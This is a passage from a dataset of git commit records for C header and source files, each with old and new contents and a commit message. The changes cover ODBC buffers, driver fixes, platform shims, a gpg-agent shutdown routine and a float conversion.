<string>\n#include <vector>\n#include <sql.h>\n\nnamespace cpp_odbc { namespace level2 {\n\n\/**\n * @brief This class represents a buffer for u16strings for use with the unixodbc C API.\n *\/\nclass u16string_buffer {\npublic:\n    \/**\n     * @brief Constructs a new string buffer with the given capacity, i.e., maximum size\n     * @param capacity Capacity of the buffer\n     *\/\n    u16string_buffer(signed short int capacity);\n\n    \/**\n     * @brief Retrieve the capacity of the buffer (in characters) in a format suitable for passing\n     *        to unixodbc API functions.\n     *\/\n    signed short int capacity() const;\n\n    \/**\n     * @brief Retrieve a pointer to the internal buffer suitable for passing to unixodbc API functions.\n     *        This buffer contains the actual string data. Do not exceed the allocated capacity!\n     *\/\n    SQLWCHAR * data_pointer();\n\n    \/**\n     * @brief Retrieve a pointer to a size buffer suitable for passing to unixodbc API functions.\n     *        This buffer contains the number of significant bytes in the buffer returned by\n     *        data_pointer().\n     *\/\n    signed short int * size_pointer();\n\n    \/**\n     * @brief Conversion operator. Retrieve the buffered data as a string. Bad things will happen if\n     *        the value of size_pointer is larger than the capacity!\n     *\/\n    operator std::u16string() const;\n\nprivate:\n    std::vector<SQLWCHAR> data_;\n    signed short int used_size_;\n};\n\n\n} }\n","subject":"Use different header to be yet more compatible with Windows","message":"Use different header to be yet more compatible with Windows\n","lang":"C","license":"mit","repos":"blue-yonder\/turbodbc,blue-yonder\/turbodbc,blue-yonder\/turbodbc,blue-yonder\/turbodbc"}
{"commit":"627ea4fcaa54b2f49f92d60684f73654fee99129","old_file":"include\/arch\/x86\/arch\/shutdown.h","new_file":"include\/arch\/x86\/arch\/shutdown.h","old_contents":"#ifndef SHUTDOWN_I6F54URD\n\n#define SHUTDOWN_I6F54URD\n\nvoid ArchShutdown(void);\n\n#endif \/* end of include guard: SHUTDOWN_I6F54URD *\/\n","new_contents":"#ifndef SHUTDOWN_I6F54URD\n\n#define SHUTDOWN_I6F54URD\n\nvoid ArchBreak(void);\nvoid ArchShutdown(void);\n\n#endif \/* end of include guard: SHUTDOWN_I6F54URD *\/\n","subject":"Add ArchBreak to the header.","message":"Add ArchBreak to the header.\n","lang":"C","license":"mit","repos":"duckinator\/dux,duckinator\/dux,duckinator\/dux"}
{"commit":"d86e2fe23f2ee6889c56f3d1426a46be7cb03d33","old_file":"SurgSim\/Framework\/Convert.h","new_file":"SurgSim\/Framework\/Convert.h","old_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SURGSIM_FRAMEWORK_CONVERT_H\n#define SURGSIM_FRAMEWORK_CONVERT_H\n\n#include \"SurgSim\/Framework\/Log.h\"\n\n\/\/\/ \\note HS-2013-dec-23 The gcc and msvc compilers seem to have different requirements when a template class\n\/\/\/       needs to be passed template parameters in a specialization, that extend the original template interface\n\/\/\/       gcc needs the template<> statement before the new template parameters, msvc does not like it at all.\n#ifdef _GNUC_\n#define SURGSIM_DOUBLE_SPECIALIZATION template<>\n#else\n#define SURGSIM_DOUBLE_SPECIALIZATION\n#endif\n\n\nnamespace SurgSim\n{\nnamespace Serialize\n{\n\t\/\/\/ Logger name for Serialization\n\tconst std::string serializeLogger = \"Serialization\";\n\n};\n};\n\n#endif \/\/ SURGSIM_FRAMEWORK_CONVERT_H","new_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef SURGSIM_FRAMEWORK_CONVERT_H\n#define SURGSIM_FRAMEWORK_CONVERT_H\n\n#include \"SurgSim\/Framework\/Log.h\"\n#include <yaml-cpp\/yaml.h>\n\n\/\/\/ \\note HS-2013-dec-23 The gcc and msvc compilers seem to have different requirements when a template class\n\/\/\/       needs to be passed template parameters in a specialization, that extend the original template interface\n\/\/\/       gcc needs the template<> statement before the new template parameters, msvc does not like it at all.\n#ifdef _GNUC_\n#define SURGSIM_DOUBLE_SPECIALIZATION template<>\n#else\n#define SURGSIM_DOUBLE_SPECIALIZATION\n#endif\n\n\nnamespace SurgSim\n{\nnamespace Serialize\n{\n\t\/\/\/ Logger name for Serialization\n\tconst std::string serializeLogger = \"Serialization\";\n\n};\n};\n\n#endif \/\/ SURGSIM_FRAMEWORK_CONVERT_H","subject":"Add back yaml-cpp\/yaml.h header file for convert<> class template.","message":"Add back yaml-cpp\/yaml.h header file for convert<> class template.\n","lang":"C","license":"apache-2.0","repos":"simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim"}
{"commit":"2091920484dc3108704da860d7631dc52292af89","old_file":"src\/drivers\/sensors\/gy_30\/gy_30.c","new_file":"src\/drivers\/sensors\/gy_30\/gy_30.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @date    29.03.2017\n * @author  Alex Kalmuk\n *\/\n#include <unistd.h>\n#include <util\/log.h>\n#include <drivers\/i2c\/i2c.h>\n\n#include \"gy_30.h\"\n\n#define GY30_ADDR       0x46\n\nuint16_t gy_30_read_light_level(unsigned char id) {\n\tuint16_t level = 0;\n\n\t\/* It would be better do not hang here but return error code *\/\n\twhile (0 > i2c_bus_read(id, GY30_ADDR, (uint8_t *) &level, 2))\n\t\t;\n\n\t\/* The actual value in lx is level \/ 1.2 *\/\n\treturn (((uint32_t) level) * 5) \/ 6;\n}\n\nvoid gy_30_setup_mode(unsigned char id, uint8_t mode) {\n\twhile (0 > i2c_bus_write(id, GY30_ADDR, &mode, 1))\n\t\t;\n\n\t\/* Documentation says that we need to wait approximately 180 ms here.*\/\n\tusleep(180000);\n\n\tlog_debug(\"%s\\n\", \"gy_30_setup_mode OK!\\n\");\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date    29.03.2017\n * @author  Alex Kalmuk\n *\/\n#include <unistd.h>\n#include <util\/log.h>\n#include <drivers\/i2c\/i2c.h>\n\n#include \"gy_30.h\"\n\n\/* http:\/\/www.elechouse.com\/elechouse\/images\/product\/Digital%20light%20Sensor\/bh1750fvi-e.pdf *\/\n#define GY30_ADDR       0x23\n\nuint16_t gy_30_read_light_level(unsigned char id) {\n\tuint16_t level = 0;\n\n\t\/* It would be better do not hang here but return error code *\/\n\twhile (0 > i2c_bus_read(id, GY30_ADDR, (uint8_t *) &level, 2))\n\t\t;\n\n\t\/* The actual value in lx is level \/ 1.2 *\/\n\treturn (((uint32_t) level) * 5) \/ 6;\n}\n\nvoid gy_30_setup_mode(unsigned char id, uint8_t mode) {\n\twhile (0 > i2c_bus_write(id, GY30_ADDR, &mode, 1))\n\t\t;\n\n\t\/* Documentation says that we need to wait approximately 180 ms here.*\/\n\tusleep(180000);\n\n\tlog_debug(\"%s\\n\", \"gy_30_setup_mode OK!\\n\");\n}\n","subject":"Fix gy-30 light sensor i2c address","message":"drivers: Fix gy-30 light sensor i2c address\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"b3a3beb56fb56e812cd0308eb184c79a0fa97e5a","old_file":"include\/HubFramework.h","new_file":"include\/HubFramework.h","old_contents":"\/\/\/ Umbrella header for the Hub Framework\n\n#import \"HUBManager.h\"\n#import \"HUBComponent.h\"\n#import \"HUBComponentModel.h\"\n#import \"HUBComponentRegistry.h\"\n#import \"HUBComponentFallbackHandler.h\"\n","new_contents":"\/\/\/ Umbrella header for the Hub Framework\n\n#import \"HUBManager.h\"\n#import \"HUBComponent.h\"\n#import \"HUBComponentModel.h\"\n#import \"HUBComponentModelBuilder.h\"\n#import \"HUBComponentImageData.h\"\n#import \"HUBComponentImageDataBuilder.h\"\n#import \"HUBComponentRegistry.h\"\n#import \"HUBComponentFallbackHandler.h\"\n","subject":"Add new API files to umbrella header","message":"Add new API files to umbrella header","lang":"C","license":"apache-2.0","repos":"spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework"}
{"commit":"a5843e1928d338a19c91f6c83b8a4ffec8ad60be","old_file":"src\/os\/Win32\/plugin.h","new_file":"src\/os\/Win32\/plugin.h","old_contents":"#ifndef PLUGIN_H_\n#define PLUGIN_H_\n\n#include \"plugin_portable.h\"\n\n#include <windows.h>\n\n\/\/ TODO use __stdcall\n#define EXPORT_CALLING __cdecl\n#define EXPORT __declspec(dllexport) EXPORT_CALLING\n\n#include \"common.h\"\n\n\/\/ just defined to make compilation work ; ignored\n#define RTLD_DEFAULT NULL\n#define RTLD_LOCAL   -1\n#define RTLD_LAZY    -1\n\nstatic inline void *dlopen(const char *name, int flags)\n{\n    \/\/ TODO use LoadLibraryEx() and flags ?\n    return LoadLibrary(name);\n}\n\nstatic inline void *dlsym(void *handle, const char *name)\n{\n    FARPROC g = GetProcAddress(handle, name);\n    void *h;\n    *(FARPROC*)&h = g;\n    return h;\n}\n\nstatic inline char *dlerror(void)\n{\n    static __thread char buf[1024];\n\n    FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK,\n        NULL,\n        GetLastError(),\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR)&buf,\n        sizeof buf, NULL);\n\n    return buf;\n}\n\nstatic inline int dlclose(void *handle)\n{\n    return !FreeLibrary(handle);\n}\n\n#endif\n\n","new_contents":"#ifndef PLUGIN_H_\n#define PLUGIN_H_\n\n#include \"plugin_portable.h\"\n\n#include <windows.h>\n\n\/\/ TODO use __stdcall\n#define EXPORT_CALLING __cdecl\n#define EXPORT __declspec(dllexport) EXPORT_CALLING\n\n#include \"common.h\"\n\n\/\/ just defined to make compilation work ; ignored\n#define RTLD_DEFAULT NULL\n#define RTLD_LOCAL   -1\n#define RTLD_LAZY    -1\n#define RTLD_NOW     -1\n\nstatic inline void *dlopen(const char *name, int flags)\n{\n    (void)flags;\n    \/\/ TODO use LoadLibraryEx() and flags ?\n    return LoadLibrary(name);\n}\n\nstatic inline void *dlsym(void *handle, const char *name)\n{\n    FARPROC g = GetProcAddress(handle, name);\n    void *h;\n    *(FARPROC*)&h = g;\n    return h;\n}\n\nstatic inline char *dlerror(void)\n{\n    static __thread char buf[1024];\n\n    FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK,\n        NULL,\n        GetLastError(),\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR)&buf,\n        sizeof buf, NULL);\n\n    return buf;\n}\n\nstatic inline int dlclose(void *handle)\n{\n    return !FreeLibrary(handle);\n}\n\n#endif\n\n","subject":"Mend Win32 build broken by 8e1c4386","message":"Mend Win32 build broken by 8e1c4386\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"d1f23840550c800d5d382abf3aadf1e92a9e20b1","old_file":"src\/plugins\/crypto\/gpg_shutdown.c","new_file":"src\/plugins\/crypto\/gpg_shutdown.c","old_contents":"\/**\n * @file\n *\n * @brief module for shutting down the gpg-agent\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include \"gpg_shutdown.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\n\/**\n * @brief shutdown the gpg-agent\n * @retval 0 on success.\n * @retval -1 on error.\n *\/\nint ELEKTRA_PLUGIN_FUNCTION (gpgQuitAgent) (void)\n{\n\t\/\/ check if the gpg-connect-agent command is available\n\tint cmdAvailable = system (\"command -v gpg-connect-agent\");\n\tif (cmdAvailable != 0)\n\t{\n\t\t\/\/ nothing to do here\n\t\treturn 0;\n\t}\n\n\t\/\/ try to gracefully shut down the gpg-agent\n\tint status = system (\"gpg-connect-agent --quiet KILLAGENT \/bye\");\n\tif (status != 0)\n\t{\n\t\t\/\/ use the hammer\n\t\tint killStatus = system (\"\/bin\/sh -c \\\"pgrep \\'gpg-agent\\' | xargs -d \\'\\\\n\\' \\'kill\\'\\\"\");\n\t\tif (killStatus != 0)\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t}\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief module for shutting down the gpg-agent\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include \"gpg_shutdown.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\n\/**\n * @brief shutdown the gpg-agent\n * @retval 0 on success.\n * @retval -1 on error.\n *\/\nint ELEKTRA_PLUGIN_FUNCTION (gpgQuitAgent) (void)\n{\n\t\/\/ try to gracefully shut down the gpg-agent\n\tint status = system (\"gpg-connect-agent --quiet KILLAGENT \/bye\");\n\tif (status != 0)\n\t{\n\t\t\/\/ use the hammer\n\t\tint killStatus = system (\"\/bin\/sh -c \\\"pgrep \\'gpg-agent\\' | xargs -d \\'\\\\n\\' \\'kill\\'\\\"\");\n\t\tif (killStatus != 0)\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Revert \"tests: check if gpg-agent command exists in shutdown code\"","message":"Revert \"tests: check if gpg-agent command exists in shutdown code\"\n\nThis reverts commit 7e0ef169c36712bb49b291a227ebd1b0036e5c75.\n","lang":"C","license":"bsd-3-clause","repos":"petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra"}
{"commit":"f8093cb1e04a4ae78ed2a358ec2e7b403ae2bcda","old_file":"src\/xenia\/base\/platform_linux.h","new_file":"src\/xenia\/base\/platform_linux.h","old_contents":"","new_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2015 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_BASE_PLATFORM_X11_H_\n#define XENIA_BASE_PLATFORM_X11_H_\n\n\/\/ NOTE: if you're including this file it means you are explicitly depending\n\/\/ on Linux headers. Including this file outside of linux platform specific\n\/\/ source code will break portability\n\n#include \"xenia\/base\/platform.h\"\n\n\/\/ Xlib is used only for GLX interaction, the window management and input\n\/\/ events are done with gtk\/gdk\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n#include <X11\/Xos.h>\n\n\/\/Used for window management. Gtk is for GUI and wigets, gdk is for lower\n\/\/level events like key presses, mouse events, etc\n#include <gtk\/gtk.h>\n#include <gdk\/gdk.h>\n\n#endif  \/\/ XENIA_BASE_PLATFORM_X11_H_\n","subject":"Add gtk and x11 headers to linux specific platform header","message":"Add gtk and x11 headers to linux specific platform header\n","lang":"C","license":"bsd-3-clause","repos":"sephiroth99\/xenia,sephiroth99\/xenia,sephiroth99\/xenia"}
{"commit":"e5be6c05567bab2c6d13fc3e8b3cb869a387327c","old_file":"hal1.h","new_file":"hal1.h","old_contents":"\/\/ Configurable constants\n\nint const MAIN_MOTOR_PWM_TOP = 255;\nint const MAIN_MOTOR_BRAKE_SPEED = 120;\nint const MAIN_MOTOR_MIN_SPEED = 150;\nint const MAIN_MOTOR_MED_SPEED = 254;\nint const MAIN_MOTOR_MAX_SPEED = 255;\nint const MAGNET_OPEN_WAIT = 5;\t\t\/\/ 10ths of a second\n\nvoid init(void);\n","new_contents":"#ifndef HAL1_H\n#define HAL1_H\n\n\/\/ Configurable constants\n\nint const MAIN_MOTOR_PWM_TOP = 255;\nint const MAIN_MOTOR_BRAKE_SPEED = 120;\nint const MAIN_MOTOR_MIN_SPEED = 150;\nint const MAIN_MOTOR_MED_SPEED = 254;\nint const MAIN_MOTOR_MAX_SPEED = 255;\nint const MAGNET_OPEN_WAIT = 5;\t\t\/\/ 10ths of a second\n\nvoid init(void);\n\nvoid main_motor_stop();\nvoid main_motor_cw_open(uint8_t speed);\nvoid main_motor_ccw_close(uint8_t speed);\nvoid set_main_motor_speed(int speed);\nint get_main_motor_speed();\nvoid aux_motor_stop();\nvoid aux_motor_cw_close();\nvoid aux_motor_ccw_open();\nvoid magnet_off();\nvoid magnet_on();\nbool door_nearly_open();\nbool door_fully_open();\nbool door_fully_closed();\n\nbool sensor_proximity();\nbool button_openclose();\nbool button_stop();\nbool main_encoder();\nbool aux_outdoor_limit();\nbool aux_indoor_limit();\nbool door_nearly_closed();\nbool aux_encoder();\n\n#endif\n","subject":"Add function prototypes and ifndef wrapper","message":"Add function prototypes and ifndef wrapper\n","lang":"C","license":"unlicense","repos":"plzz\/ovisysteemi,plzz\/ovisysteemi"}
{"commit":"00d1d12be797e41c5f89e905f438f85c1003d0db","old_file":"objc\/MX3Snapshot.h","new_file":"objc\/MX3Snapshot.h","old_contents":"#import <Foundation\/Foundation.h>\n#ifdef __cplusplus\n#include <memory>\n#include <mx3\/mx3.hpp>\n#endif\n\n@interface MX3Snapshot : NSObject\n\/\/ adding this here allows you to include this file from non-objc++ files\n\/\/ since it is using c++ types\n#ifdef __cplusplus\n- (instancetype)initWithSnapshot:(std::unique_ptr<mx3::SqlSnapshot>)snapshot;\n#endif\n- (NSString *) rowAtIndex:(NSUInteger)index;\n- (NSUInteger) count;\n- (void) dealloc;\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n#ifdef __cplusplus\n#include <memory>\n#include <mx3\/mx3.hpp>\n#endif\n\n@interface MX3Snapshot : NSObject\n\/\/ adding this here allows you to include this file from non-objc++ files\n\/\/ since it is using c++ types\n#ifdef __cplusplus\n- (instancetype)initWithSnapshot:(std::unique_ptr<mx3::SqlSnapshot>)snapshot;\n#endif\n- (NSString *) rowAtIndex:(NSUInteger)index;\n- (NSUInteger) count;\n\n@end\n","subject":"Remove dealloc from header as it is declared in NSObject","message":"Remove dealloc from header as it is declared in NSObject","lang":"C","license":"mit","repos":"wesselj1\/mx3playground,wesselj1\/mx3playground,libmx3\/mx3,duydb2\/mx3,libmx3\/mx3,duydb2\/mx3,duydb2\/mx3,libmx3\/mx3,wesselj1\/mx3playground"}
{"commit":"b843d479c9f75400a57e23b63f19050359c6fb62","old_file":"menpo\/feature\/cpp\/WindowFeature.h","new_file":"menpo\/feature\/cpp\/WindowFeature.h","old_contents":"#pragma once\n\n#if defined(_MSC_VER)\n    #define round(x) (x >= 0 ? (x + 0.5) : (x - 0.5))\n#endif\n\nclass WindowFeature {\npublic:\n\tWindowFeature();\n\tvirtual ~WindowFeature();\n\tvirtual void apply(double *windowImage, double *descriptorVector) = 0;\n\tunsigned int descriptorLengthPerWindow;\n};\n","new_contents":"#pragma once\n\n#if _MSC_VER < 1900\n    #define round(x) (x >= 0 ? (x + 0.5) : (x - 0.5))\n#endif\n\nclass WindowFeature {\npublic:\n\tWindowFeature();\n\tvirtual ~WindowFeature();\n\tvirtual void apply(double *windowImage, double *descriptorVector) = 0;\n\tunsigned int descriptorLengthPerWindow;\n};\n","subject":"Fix a build error (Python 3.5)","message":"Fix a build error (Python 3.5)\n\nThanks to karel.palecek@tul.cz for supplying the fix to this bug.\n","lang":"C","license":"bsd-3-clause","repos":"grigorisg9gr\/menpo,patricksnape\/menpo,menpo\/menpo,grigorisg9gr\/menpo,menpo\/menpo,patricksnape\/menpo,grigorisg9gr\/menpo,yuxiang-zhou\/menpo,yuxiang-zhou\/menpo,menpo\/menpo,patricksnape\/menpo,yuxiang-zhou\/menpo"}
{"commit":"830bb7a42d2804830a57dfe8bc469fac1317c46a","old_file":"port\/riot\/abort.c","new_file":"port\/riot\/abort.c","old_contents":"#include \"port\/oc_assert.h\"\n\n\/\/ TODO:\nvoid\nabort_impl()\n{\n}\n","new_contents":"#include \"port\/oc_assert.h\"\n\n\/\/ TODO:\nvoid\nabort_impl(void)\n{\n}\n","subject":"Declare void parameter for RIOT","message":"Declare void parameter for RIOT\n\nThis is partially reverting:\n \"Bring RIOT OS port up-to-date with RIOT OS upstream\"\n\nThis reverts commit 0ed0f4425cffdd84317998efa8fe19eef561c2fa.\n\nWithout this change RIOT will fail to build:\n  port\/riot\/abort.c:5:1:\\\n  error: old-style function definition [-Werror=old-style-definition]\n\nChange-Id: Ie6b838452412c844503a004656b7aac7b20e5d55\nSigned-off-by: Philippe Coval <ff46fec9739d31cce915aabcc3a7a2c00eee4d6c@osg.samsung.com>\nReviewed-on: https:\/\/gerrit.iotivity.org\/gerrit\/16497\nReviewed-by: Kishen Maloor <c62ddea3cd661a9268bff15f07fc2229cdc9ac02@intel.com>\nTested-by: Kishen Maloor <c62ddea3cd661a9268bff15f07fc2229cdc9ac02@intel.com>\n","lang":"C","license":"apache-2.0","repos":"iotivity\/iotivity-constrained,iotivity\/iotivity-constrained,iotivity\/iotivity-constrained,iotivity\/iotivity-constrained"}
{"commit":"401ddc294918febc37927b3017ca1ae2e426bd99","old_file":"mudlib\/mud\/home\/Test\/sys\/auditd.c","new_file":"mudlib\/mud\/home\/Test\/sys\/auditd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n","subject":"Add stub for auditing in the tester","message":"Add stub for auditing in the tester\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"67ff9a4499efc002851130a98c3960a2945be079","old_file":"src\/soft\/float\/trunctfdf2.c","new_file":"src\/soft\/float\/trunctfdf2.c","old_contents":"","new_contents":"#include \"..\/..\/math\/reinterpret.h\"\n#include <stdint.h>\n\nstatic uint64_t magnitude_(uint64_t high, uint64_t low)\n{\n    if (high > 0x7FFF000000000000 || (high == 0x7FFF000000000000 && low))\n        return high;\n\n    if (high >= 0x43FF000000000000)\n        return 0x7FF0000000000000;\n\n    if (high >= 0x3C01000000000000)\n        return ((high - 0x3C00000000000000) << 4 | low >> 60) + (((low >> 59 & 1) | low << 4) > 0x8000000000000000);\n\n    if (high >= 0x3BCC000000000000) {\n        double significand = reinterpret(double, (0x8000000000000000 | high << 15) >> 11 | low >> 60 | !!(low << 4));\n        double coeff = reinterpret(double, ((high >> 48) - 0x3802) << 52);\n        return reinterpret(uint64_t, significand * coeff);\n    }\n    return 0;\n}\n\ndouble __trunctfdf2(long double x)\n{\n    unsigned __int128 i = reinterpret(unsigned __int128, x);\n    uint64_t high = i >> 64;\n\n    return reinterpret(double, magnitude_(high & INT64_MAX, i) | (high & 0x8000000000000000));\n}\n","subject":"Implement long double -> double","message":"Implement long double -> double\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"b0f17a3780c5cb70b4bd8fa4633e60acd6ff98f5","old_file":"src\/vast\/option.h","new_file":"src\/vast\/option.h","old_contents":"#ifndef VAST_OPTION_HPP\n#define VAST_OPTION_HPP\n\n#include <cppa\/option.hpp>\n\nnamespace vast {\n\n\/\/\/ An optional value of `T` with similar semantics as `std::optional`.\ntemplate <typename T>\nclass option : public cppa::option<T>\n{\n  typedef cppa::option<T> super;\npublic:\n#ifdef VAST_HAVE_INHERTING_CONSTRUCTORS\n  using super::option;\n#else\n  option() = default;\n\n  option(T x)\n    : super(std::move(x))\n  {\n  }\n\n  template <typename T0, typename T1, typename... Ts>\n  option(T0&& x0, T1&& x1, Ts&&... args) \n    : super(std::forward<T0>(x0),\n            std::forward<T1>(x1),\n            std::forward<Ts>(args)...)\n  {\n  }\n\n  option(const option&) = default;\n  option(option&&) = default;\n  option& operator=(option const&) = default;\n  option& operator=(option&&) = default;\n#endif\n\n  T* operator->() const\n  {\n    CPPA_REQUIRE(valid());\n    return &cppa::option<T>::get();\n  }\n};\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_OPTION_HPP\n#define VAST_OPTION_HPP\n\n#include <cppa\/option.hpp>\n\nnamespace vast {\n\n\/\/\/ An optional value of `T` with similar semantics as `std::optional`.\ntemplate <typename T>\nclass option : public cppa::option<T>\n{\n  typedef cppa::option<T> super;\npublic:\n#ifdef VAST_HAVE_INHERTING_CONSTRUCTORS\n  using super::option;\n#else\n  option() = default;\n\n  option(T x)\n    : super(std::move(x))\n  {\n  }\n\n  template <typename T0, typename T1, typename... Ts>\n  option(T0&& x0, T1&& x1, Ts&&... args) \n    : super(std::forward<T0>(x0),\n            std::forward<T1>(x1),\n            std::forward<Ts>(args)...)\n  {\n  }\n\n  option(const option&) = default;\n  option(option&&) = default;\n  option& operator=(option const&) = default;\n  option& operator=(option&&) = default;\n#endif\n\n  constexpr T const* operator->() const\n  {\n    return &cppa::option<T>::get();\n  }\n};\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Make operator-> constexpr and return a T const*.","message":"Make operator-> constexpr and return a T const*.\n","lang":"C","license":"bsd-3-clause","repos":"mavam\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,mavam\/vast,pmos69\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast,mavam\/vast"}
{"commit":"dde3ee5113fd0ae40cfb6788e4bd0a2a8c60eb72","old_file":"t\/version_t.c","new_file":"t\/version_t.c","old_contents":"#include \"MMDB.h\"\n#include \"tap.h\"\n#include <sys\/stat.h>\n#include <string.h>\n#if HAVE_CONFIG_H\n# include <config.h>\n#endif\n\nint main(void)\n{\n    const char *version = MMDB_lib_version();\n    ok(version != NULL, \"MMDB_lib_version exists\");\n    ok(strcmp(version, PACKAGE_VERSION) == 0, \"version is \" PACKAGE_VERSION);\n    done_testing();\n}\n","new_contents":"#include \"MMDB.h\"\n#include \"tap.h\"\n#include <sys\/stat.h>\n#include <string.h>\n#if HAVE_CONFIG_H\n# include <config.h>\n#endif\n\nint main(void)\n{\n    const char *version = MMDB_lib_version();\n    ok(version != NULL, \"MMDB_lib_version exists\");\n    if ( version )\n        ok(strcmp(version, PACKAGE_VERSION) == 0, \"version is \" PACKAGE_VERSION);\n    done_testing();\n}\n","subject":"Check version string only if MMDB_lib_version != NULL","message":"Check version string only if MMDB_lib_version != NULL\n","lang":"C","license":"apache-2.0","repos":"maxmind\/libmaxminddb,maxmind\/libmaxminddb,maxmind\/libmaxminddb"}
{"commit":"e412c7c88f74bd962509e1c24b1611b909b58b99","old_file":"MdePkg\/Include\/Guid\/HardwareErrorVariable.h","new_file":"MdePkg\/Include\/Guid\/HardwareErrorVariable.h","old_contents":"\/** @file\r\n  GUID for hardware error record variables.\r\n\r\n  Copyright (c) 2007 - 2009, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n  Module Name:  HardwareErrorVariable.h\r\n\r\n  @par Revision Reference:\r\n  GUID defined in UEFI 2.1.\r\n\r\n**\/\r\n\r\n#ifndef _HARDWARE_ERROR_VARIABLE_GUID_H_\r\n#define _HARDWARE_ERROR_VARIABLE_GUID_H_\r\n\r\n#define EFI_HARDWARE_ERROR_VARIABLE \\\r\n  { \\\r\n    0x414E6BDD, 0xE47B, 0x47cc, {0xB2, 0x44, 0xBB, 0x61, 0x02, 0x0C, 0xF5, 0x16} \\\r\n  }\r\n\r\nextern EFI_GUID gEfiHardwareErrorVariableGuid;\r\n\r\n#endif\r\n","new_contents":"\/** @file\r\n  GUID for hardware error record variables.\r\n\r\n  Copyright (c) 2007 - 2009, Intel Corporation\r\n  